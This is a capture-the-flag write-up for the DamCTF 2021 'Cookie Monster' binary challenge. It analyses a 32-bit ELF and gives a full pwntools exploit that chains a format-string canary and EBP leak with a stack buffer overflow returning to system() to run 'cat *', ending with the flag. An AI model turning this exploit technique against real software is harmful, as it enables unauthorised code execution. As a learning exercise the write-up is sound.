keyboard_arrow_up

title: Cookie Monster
date: Nov 09, 2021
tags: Writeups DamCTF CTF_review Pwn Malware Misc Reverse Web EC2_2021 CheatSheets SQLi Programming Nmap Tools PyJails HeroCTF_v3 Steganography


Cookie Monster

153 solves / 406 points

Do you like cookies? I like cookies.
nc chals.damctf.xyz 31312

Author: BobbySinclusto



Discovery


First of all, we need to gather as much information as we can.

Challenge interactions: chall


Bash commands:

file cookie-monster
cookie-monster: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=998281a5f422a675de8dde267cefad19a8cef519, not stripped

gdb - checksec
[+] checksec for 'chall'
Canary                        : ✓ (value: 0x60ca4e00)
NX                            : ✓
PIE                           : ✘
Fortify                       : ✘
RelRO                         : Partial

ltrace ./chall
...
system("cat cookies.txt")
...


Bakery function: (using ghidra decompiler with cutter)

void bakery(void)
{
    int32_t unaff_EBX;
    int32_t in_GS_OFFSET;
    char *format;
    int32_t var_ch;
    int32_t var_4h;

    __x86.get_pc_thunk.bx();
    var_ch = *(int32_t *)(in_GS_OFFSET + 0x14);
    printf(unaff_EBX + 0x1e6);
    fgets(&format, 0x20, **(undefined4 **)(unaff_EBX + 0x1a66));
    printf(unaff_EBX + 0x1f8);
    printf(&format);
    puts(unaff_EBX + 0x202);
    system(unaff_EBX + 0x228);
    puts(unaff_EBX + 0x23a);
    fgets(&format, 0x40, **(undefined4 **)(unaff_EBX + 0x1a66));
    puts(unaff_EBX + 0x25c);
    if (var_ch != *(int32_t *)(in_GS_OFFSET + 0x14)) {
        __stack_chk_fail_local();
    }
    return;
}


With the above command, we can extract the following information:


Binary exploit


  1. Finding vulnerabilities

With the above information we can start by injecting simple %x format string:

format-string


It seems to be vulnerable, we now need to get our stack offset:

format-string-2


Well, using the first input, we can write want we want where we want, but if the ASLR protection is enabled on the server side, we won't be able to do anything interesting with only this exploit. So, let's give a look to the second input with trying a simple buffer overflow exploit.

bof

We got " stack smashing detected : ./chall terminated" error which means that we have successfully exploited the BoF and overwrite the canary value.

Now that we have everything we need, we're going to chain exploit both vulnerabilities.


  1. Leaking Canary and EBP value


In order to leak both EBP and Canary value, we need to use gdb to find their stack offset.

values

With some gdb research we can figure out:


  1. Getting system address


As we saw in the binary protection, PIE is disabled and system is called in the binary. So, we have a free system address that we can use to make our exploit.

gdb - disass bakery
0x0804860c <+134>:   call   0x8048440 <system@plt>


  1. Finding EIP offset


For this part, we need in a first time to disable temporarily canary protect to verify if we correctly overwrite EIP:

breakpoint
set $eax=0
set $eip=0x8048664
ni


Then using gdb pattern we can quickly get its value:

pattern create 100
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa

run
AAAA
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa

stopped 0x6161616d (maaa)

Compute "maaa" offset and we find 48.


  1. Chain exploit


Now that we have everything to exploit the binary, we just need to create a python script that:


from re import search
from pwn import *

def reverseAddress(address, increase=False, add=0):
    if increase:
        address = hex(int(address, base=16) + add)[2:]
    address = [address[i:i+2] for i in range(0, 8, 2)][::-1] # little indian mode
    address = " ".join(address)
    address = bytes.fromhex(address)
    return address

if args.REMOTE:
    log.info("Connexion au serveur distant")
    p = remote("chals.damctf.xyz", 31312)
else:
    log.info("Execution du binaire en local")
    p = process('./chall')

# Format string
payload = "%15$x.%18$x"
p.sendline(payload.encode())

# Reading canary value
leak = p.recvline().decode()
leak = search("Hello (.*?)\.(.*?)\n", leak)
canary = reverseAddress(leak.group(1))
ebp = reverseAddress(leak.group(2), True, -4)

# Cookies shop output
p.recvuntil(b'to purchase?\n')

# Buffer overflow offset
payload = 32*b"A"
payload += canary
payload += 12*b"A"
payload += reverseAddress("0804860c") # EIP overflow on system func
payload += ebp
payload += b"cat *;"

print(payload)
p.sendline(payload)

# Have a nice day!
print(p.recvall())
p.close()


Starting the script finally gives us the flag!! 🎉

Flag: dam{s74CK_c00k13S_4r3_d3L1C10Us}